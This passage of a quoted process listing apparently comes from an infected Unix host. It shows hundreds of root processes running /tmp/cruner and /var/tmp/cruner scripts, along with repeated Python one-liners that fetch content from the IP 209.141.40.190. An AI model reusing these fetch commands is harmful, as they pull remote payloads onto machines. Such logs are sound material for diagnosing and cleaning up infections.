fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26191 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6113 15864 0 - ? 0:00 <defunct> > root 12713 1882 0 15:43:32 ? 0:00 bash -sh > root 1357 4313 0 15:46:06 ? 0:00 sleep 60 > root 20386 1412 0 15:44:53 ? 0:00 bash -sh > root 22376 5255 0 15:44:58 ? 0:00 bash -sh > root 11272 10253 0 15:45:59 ? 0:00 bash -sh > root 24477 21217 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19154 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25807 24826 0 15:46:05 ? 0:00 sleep 60 > root 26020 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26037 6097 0 15:45:17 ? 0:00 bash -sh > root 223 192 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9939 16310 0 15:46:07 ? 0:00 sleep 60 > root 15715 13662 0 15:46:08 ? 0:00 bash -sh > root 10312 21316 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 20415 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14740 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16730 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24588 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27215 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29541 1337 0 - ? 0:00 <defunct> > root 12646 23788 0 15:45:25 ? 0:00 bash -sh > root 20668 25397 0 15:45:42 ? 0:00 bash -sh > root 2995 28303 0 - ? 0:00 <defunct> > root 22007 4129 0 - ? 0:00 <defunct> > root 17594 22132 0 15:45:32 ? 0:00 bash -sh > root 6837 22382 0 15:45:09 ? 0:00 bash -sh > root 7190 7175 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 466 24835 0 - ? 0:00 <defunct> > root 15868 15538 0 15:45:26 ? 0:00 bash -sh > root 14610 28753 0 - ? 0:00 <defunct> > root 20856 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3699 3698 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18944 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21191 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24248 1527 0 15:45:47 ? 0:00 sleep 60 > root 22962 22959 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9375 3546 0 15:45:15 ? 0:00 bash -sh > root 5602 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3477 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22445 23234 0 - ? 0:00 <defunct> > root 1826 15469 0 15:45:48 ? 0:00 sleep 60 > root 26991 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4025 13504 0 - ? 0:00 <defunct> > root 3184 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7822 21828 0 15:46:07 ? 0:00 sleep 60 > root 1847 19467 0 15:46:02 ? 0:00 sleep 60 > root 8257 27553 0 15:45:45 ? 0:00 bash -sh > root 9163 16262 0 - ? 0:00 <defunct> > root 21739 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8655 11295 0 15:45:28 ? 0:00 bash -sh > root 15364 17018 0 15:44:52 ? 0:00 bash -sh > root 20706 24093 0 - ? 0:00 <defunct> > root 17463 13087 0 - ? 0:00 <defunct> > root 20655 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8199 1869 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20328 3772 0 15:44:53 ? 0:00 bash -sh > root 22932 8985 0 15:45:13 ? 0:00 sleep 60 > root 19351 6648 0 - ? 0:00 <defunct> > root 19623 25824 0 15:46:09 ? 0:00 sleep 60 > root 26360 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13277 24122 0 15:45:50 ? 0:00 bash -sh > root 5724 9190 0 15:45:54 ? 0:00 bash -sh > root 7365 15697 0 15:45:36 ? 0:00 bash -sh > root 3993 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 20722 13197 0 15:45:29 ? 0:00 sleep 60 > root 865 822 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3749 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15149 7359 0 15:46:08 ? 0:00 bash -sh > root 4566 22594 0 - ? 0:00 <defunct> > root 8060 8058 0 - ? 0:00 <defunct> > root 21665 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9522 2985 0 15:46:07 ? 0:00 sleep 60 > root 11311 3188 0 15:43:55 ? 0:00 bash -sh > root 11484 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26383 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10963 29339 0 - ? 0:00 <defunct> > root 2613 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9546 10861 0 15:45:41 ? 0:00 bash -sh > root 2023 1982 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28634 9448 0 15:45:34 ? 0:00 sleep 60 > root 11974 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15013 1 0 00:58:33 ? 0:00 sh /var/tmp/cruner > root 13147 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16824 15282 0 15:46:00 ? 0:00 sh /tmp/cruner > root 9061 24323 0 15:45:10 ? 0:00 bash -sh > root 2077 19369 0 15:46:06 ? 0:00 bash -sh > root 14335 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6460 18584 0 15:45:54 ? 0:00 sleep 60 > root 9256 3058 0 15:44:14 ? 0:00 bash -sh > root 25392 29282 0 15:45:47 ? 0:00 sleep 60 > root 29512 25053 0 - ? 0:00 <defunct> > root 13696 10871 0 - ? 0:00 <defunct> > root 13760 701 0 15:45:59 ? 0:00 bash -sh > root 25570 20387 0 15:45:13 ? 0:00 sleep 60 > root 17014 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25542 11257 0 15:45:17 ? 0:00 bash -sh > root 17364 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15941 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11793 16930 0 15:45:10 ? 0:00 sleep 60 > root 3535 4035 0 15:45:58 ? 0:00 sleep 60 > root 15780 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8658 7235 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2255 2936 0 15:45:19 ? 0:00 sleep 60 > root 2044 25265 0 15:46:06 ? 0:00 bash -sh > root 27832 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21315 29102 0 15:45:06 ? 0:00 bash -sh > root 26227 26225 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9295 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21595 4462 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8292 7236 0 15:44:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15678 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15041 19034 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20311 19354 0 - ? 0:00 <defunct> > root 3807 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6632 3749 0 15:45:04 ? 0:00 bash -sh > root 19024 12033 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8721 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2342 20443 0 15:46:02 ? 0:00 sleep 60 > root 12377 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1512 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1467 2021 0 15:44:55 ? 0:00 bash -sh > root 25259 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28496 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13509 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10622 4115 0 15:44:51 ? 0:00 bash -sh > root 74 24533 0 15:46:06 ? 0:00 bash -sh > root 5306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18262 25638 0 15:45:37 ? 0:00 bash -sh > root 14556 22414 0 15:44:52 ? 0:00 bash -sh > root 13808 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7078 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23865 366 0 - ? 0:00 <defunct> > root 18701 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12150 10504 0 - ? 0:00 <defunct> > root 21501 24974 0 - ? 0:00 <defunct> > root 12445 3996 0 - ? 0:00 <defunct> > root 3620 29616 0 15:45:35 ? 0:00 sleep 60 > root 11790 6471 0 15:45:29 ? 0:00 sleep 60 > root 23099 18929 0 - ? 0:00 <defunct> > root 2477 11593 0 15:45:48 ? 0:00 sleep 60 > root 22702 23171 0 15:46:09 ? 0:00 bash -sh > root 27596 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8011 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7029 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23856 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20009 19000 0 15:45:22 ? 0:00 bash -sh > root 10129 2785 0 15:45:50 ? 0:00 sleep 60 > root 4275 23062 0 15:45:54 ? 0:00 sleep 60 > root 2101 7711 0 15:44:11 ? 0:00 bash -sh > root 22119 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21057 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14791 2661 0 15:44:16 ? 0:00 bash -sh > root 25397 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18853 9113 0 15:46:00 ? 0:00 sh /tmp/cruner > root 24645 7328 0 15:45:27 ? 0:00 sleep 60 > root 3210 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16946 6383 0 15:45:22 ? 0:00 bash -sh > root 17617 538 0 15:45:42 ? 0:00 bash -sh > root 11461 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14487 4485 0 15:46:08 ? 0:00 bash -sh > root 5642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1336 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7829 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14633 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20337 10208 0 15:44:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13690 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6244 22651 0 15:45:20 ? 0:00 sleep 60 > root 5702 4741 0 15:45:49 ? 0:00 bash -sh > root 9257 22195 0 15:46:07 ? 0:00 sleep 60 > root 14825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12335 7420 0 - ? 0:00 <defunct> > root 4764 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11939 14556 0 - ? 0:00 <defunct> > root 8767 5959 0 - ? 0:00 <defunct> > root 11286 12934 0 15:45:10 ? 0:00 bash -sh > root 16512 11421 0 15:46:00 ? 0:00 sleep 60 > root 5879 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 20637 535 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14206 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9211 3635 0 15:46:07 ? 0:00 sleep 60 > root 14188 14162 0 - ? 0:00 <defunct> > root 3148 21065 0 15:45:54 ? 0:00 sh /var/tmp/cruner > root 22762 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29837 17834 0 - ? 0:00 <defunct> > root 13040 12715 0 15:44:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9870 6564 0 15:45:15 ? 0:00 bash -sh > root 12242 6358 0 - ? 0:00 <defunct> > root 3144 29323 0 15:46:02 ? 0:00 sleep 60 > root 1087 27470 0 15:45:34 ? 0:00 sleep 60 > root 22132 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1710 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9679 9649 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16748 14758 0 - ? 0:00 <defunct> > root 13306 2321 0 15:45:59 ? 0:00 xargs kill -9 > root 21896 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7390 12612 0 - ? 0:00 <defunct> > root 24395 11445 0 15:45:47 ? 0:00 bash -sh > root 20401 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29578 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6817 9715 0 15:45:49 ? 0:00 bash -sh > root 20960 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25009 5071 0 15:44:54 ? 0:00 bash -sh > root 24884 3123 0 15:45:17 ? 0:00 sleep 60 > root 27629 17992 0 15:45:34 ? 0:00 sleep 60 > root 2846 19471 0 15:45:19 ? 0:00 sleep 60 > root 9991 23210 0 - ? 0:00 <defunct> > root 1596 17453 0 15:44:11 ? 0:00 bash -sh > root 3216 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27792 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1779 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15532 25679 0 - ? 0:00 <defunct> > root 20474 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5519 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8307 6079 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26827 26671 0 - ? 0:00 <defunct> > root 8471 1 0 01:49:11 ? 0:00 sh /var/tmp/cruner > root 21613 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12044 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9172 25632 0 15:45:54 ? 0:00 bash -sh > root 18425 1170 0 - ? 0:00 <defunct> > root 28532 14115 0 15:45:18 ? 0:00 sleep 60 > root 2810 2778 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14558 10736 0 15:45:37 ? 0:00 bash -sh > root 1498 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16473 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5890 692 0 15:45:40 ? 0:00 xargs kill -9 > root 11782 23303 0 15:45:45 ? 0:00 sleep 60 > root 7752 28291 0 - ? 0:00 <defunct> > root 12040 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21080 8291 0 15:46:09 ? 0:00 bash -sh > root 29006 28794 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22768 28676 0 15:45:33 ? 0:00 sleep 60 > root 16276 17676 0 15:43:33 ? 0:00 bash -sh > root 18576 5952 0 15:45:12 ? 0:00 bash -sh > root 19384 17912 0 - ? 0:00 <defunct> > root 18038 2727 0 15:45:12 ? 0:00 bash -sh > root 21401 22477 0 15:45:33 ? 0:00 sleep 60 > root 11099 10776 0 15:45:15 ? 0:00 bash -sh > root 27458 29091 0 15:46:02 ? 0:00 sleep 60 > root 24693 21480 0 15:45:17 ? 0:00 sleep 60 > root 11361 5670 0 15:45:28 ? 0:00 sleep 60 > root 7580 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7318 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14741 29711 0 15:46:04 ? 0:00 bash -sh > root 9672 9633 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4863 1 0 16:45:01 ? 0:01 sh /var/tmp/cruner > root 3622 3819 0 15:46:06 ? 0:00 sleep 60 > root 16236 4411 0 15:45:22 ? 0:00 sleep 60 > root 14204 29121 0 - ? 0:00 <defunct> > root 714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9846 10909 0 15:46:07 ? 0:00 sleep 60 > root 8941 8786 0 15:45:10 ? 0:00 sleep 60 > root 3862 16401 0 15:45:48 ? 0:00 sleep 60 > root 26633 26617 0 - ? 0:00 <defunct> > root 5578 17742 0 15:46:06 ? 0:00 sleep 60 > root 10799 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 345 14085 0 - ? 0:00 <defunct> > root 19347 16175 0 - ? 0:00 <defunct> > root 19980 22832 0 15:45:12 ? 0:00 sleep 60 > root 21990 13584 0 15:45:06 ? 0:00 bash -sh > root 4244 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8077 26543 0 15:45:20 ? 0:00 bash -sh > root 2417 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12559 24879 0 - ? 0:00 <defunct> > root 24327 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11617 29342 0 15:45:59 ? 0:00 bash -sh > root 2927 2098 0 - ? 0:00 <defunct> > root 22289 11241 0 - ? 0:00 <defunct> > root 27987 6028 0 15:46:02 ? 0:00 bash -sh > root 9683 22911 0 15:43:19 ? 0:00 bash -sh > root 14276 20870 0 - ? 0:00 <defunct> > root 2005 7058 0 - ? 0:00 <defunct> > root 20255 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6309 10193 0 15:42:17 ? 0:00 bash -sh > root 29299 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28396 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8912 15080 0 15:45:45 ? 0:00 sleep 60 > root 22147 3651 0 - ? 0:00 <defunct> > root 4308 24490 0 15:45:44 ? 0:00 sleep 60 > root 11242 6842 0 15:45:32 ? 0:00 bash -sh > root 8806 22561 0 15:45:25 ? 0:00 sleep 60 > root 23488 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24938 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7667 28313 0 15:45:49 ? 0:00 bash -sh > root 21235 9677 0 15:46:01 ? 0:00 sh /tmp/cruner > root 5867 12480 0 15:46:06 ? 0:00 sleep 60 > root 10930 16728 0 15:45:55 ? 0:00 bash -sh > root 18279 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26458 13433 0 15:45:43 ? 0:00 sleep 60 > root 29198 29113 0 15:43:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8129 5140 0 15:45:36 ? 0:00 bash -sh > root 21016 25489 0 15:42:37 ? 0:00 bash -sh > root 9598 13327 0 15:45:15 ? 0:00 bash -sh > root 1010 16850 0 15:45:19 ? 0:00 bash -sh > root 18376 1 0 16:09:09 ? 0:01 sh /var/tmp/cruner > root 4067 19633 0 15:45:40 ? 0:00 sleep 60 > root 8737 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13260 28771 0 15:43:51 ? 0:00 bash -sh > root 16740 3468 0 15:43:27 ? 0:00 bash -sh > root 29704 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28080 18740 0 15:45:18 ? 0:00 sleep 60 > root 29813 10158 0 15:45:18 ? 0:00 sleep 60 > root 1406 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9524 22520 0 15:46:07 ? 0:00 bash -sh > root 7011 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10259 8040 0 15:45:21 ? 0:00 bash -sh > root 26141 16108 0 15:45:07 ? 0:00 bash -sh > root 25043 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17279 29723 0 - ? 0:00 <defunct> > root 17548 7473 0 - ? 0:00 <defunct> > root 20801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21362 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22340 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1205 364 0 15:45:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10873 29580 0 15:46:07 ? 0:00 bash -sh > root 29613 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21140 8625 0 - ? 0:00 <defunct> > root 21365 18048 0 15:46:09 ? 0:00 xargs kill -9 > root 27970 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22242 1965 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 7999 7980 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6770 21748 0 15:43:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17871 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25016 11948 0 - ? 0:00 <defunct> > root 8708 24387 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 16644 9541 0 15:46:00 ? 0:00 sleep 60 > root 3558 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4040 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22309 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27040 9186 0 15:45:30 ? 0:00 sleep 60 > root 21588 14263 0 - ? 0:00 <defunct> > root 26472 24728 0 - ? 0:00 <defunct> > root 6978 20280 0 15:45:20 ? 0:00 sleep 60 > root 19885 23181 0 15:45:38 ? 0:00 bash -sh > root 12775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9494 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21971 5449 0 15:45:17 ? 0:00 sleep 60 > root 26796 12646 0 - ? 0:00 <defunct> > root 6698 24158 0 15:43:31 ? 0:00 bash -sh > root 18013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4071 15034 0 15:45:48 ? 0:00 sleep 60 > root 17996 26004 0 - ? 0:00 <defunct> > root 19536 3000 0 - ? 0:00 <defunct> > root 22825 2276 0 15:46:09 ? 0:00 bash -sh > root 29002 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25445 27238 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 18189 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 384 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2660 2622 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15418 12794 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18303 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23864 3834 0 15:46:05 ? 0:00 sleep 60 > root 23786 10109 0 15:45:13 ? 0:00 sleep 60 > root 23644 12785 0 15:45:30 ? 0:00 sleep 60 > root 16811 13622 0 - ? 0:00 <defunct> > root 17222 17393 0 15:46:00 ? 0:00 bash -sh > root 5055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13644 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4485 10995 0 15:45:54 ? 0:00 bash -sh > root 19236 3961 0 15:45:56 ? 0:00 xargs kill -9 > root 24667 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24524 5006 0 15:46:10 ? 0:00 bash -sh > root 25943 20131 0 15:45:43 ? 0:00 bash -sh > root 25860 5300 0 15:46:10 ? 0:00 bash -sh > root 29233 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15990 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12871 9482 0 15:46:04 ? 0:00 sleep 60 > root 19147 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3077 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4679 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19950 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28951 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5483 11601 0 15:43:08 ? 0:00 bash -sh > root 4446 28258 0 15:45:04 ? 0:00 bash -sh > root 8125 26122 0 - ? 0:00 <defunct> > root 5601 2676 0 - ? 0:00 <defunct> > root 12906 8675 0 15:45:50 ? 0:00 bash -sh > root 25812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10476 25272 0 - ? 0:00 <defunct> > root 12798 22881 0 - ? 0:00 <defunct> > root 23263 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12692 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2566 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14617 23547 0 15:46:00 ? 0:00 bash -sh > root 28549 3205 0 - ? 0:00 <defunct> > root 24610 3984 0 - ? 0:00 <defunct> > root 26884 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15499 15384 0 15:45:51 ? 0:00 sleep 60 > root 13256 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9634 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23438 29643 0 - ? 0:00 <defunct> > root 14224 4099 0 15:45:37 ? 0:00 sleep 60 > root 23558 21957 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20643 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16049 14791 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15525 27114 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 10772 10739 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3833 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29367 29300 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28160 6181 0 15:45:18 ? 0:00 sleep 60 > root 28876 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5338 16819 0 15:46:03 ? 0:00 sleep 60 > root 14466 1548 0 - ? 0:00 <defunct> > root 27701 23436 0 15:45:34 ? 0:00 sleep 60 > root 9276 5949 0 - ? 0:00 <defunct> > root 26720 20559 0 15:44:09 ? 0:00 bash -sh > root 20458 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19905 11798 0 - ? 0:00 <defunct> > root 28415 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17975 15660 0 15:45:42 ? 0:00 bash -sh > root 2249 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14601 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25912 3235 0 - ? 0:00 <defunct> > root 15405 6034 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16416 16398 0 15:44:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 239 7370 0 15:44:55 ? 0:00 bash -sh > root 16003 15463 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3224 15468 0 15:45:58 ? 0:00 sleep 60 > root 2011 17477 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 20023 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13856 11141 0 15:44:52 ? 0:00 bash -sh > root 22515 22501 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15749 28946 0 15:45:29 ? 0:00 sleep 60 > root 17036 14956 0 15:45:51 ? 0:00 bash -sh > root 24991 26194 0 15:45:23 ? 0:00 sleep 60 > root 13761 13760 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1534 1533 0 - ? 0:00 <defunct> > root 7937 11398 0 15:45:09 ? 0:00 bash -sh > root 24397 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18664 4980 0 - ? 0:00 <defunct> > root 16170 6496 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 5059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16798 27744 0 15:45:29 ? 0:00 sleep 60 > root 4259 14239 0 15:45:35 ? 0:00 sleep 60 > root 25014 24250 0 15:46:01 ? 0:00 sleep 60 > root 22105 13910 0 15:45:02 ? 0:00 bash -sh > root 7885 23298 0 15:45:25 ? 0:00 sleep 60 > root 28920 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3731 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6374 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19321 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18912 18385 0 - ? 0:00 <defunct> > root 1505 6989 0 - ? 0:00 <defunct> > root 13718 1 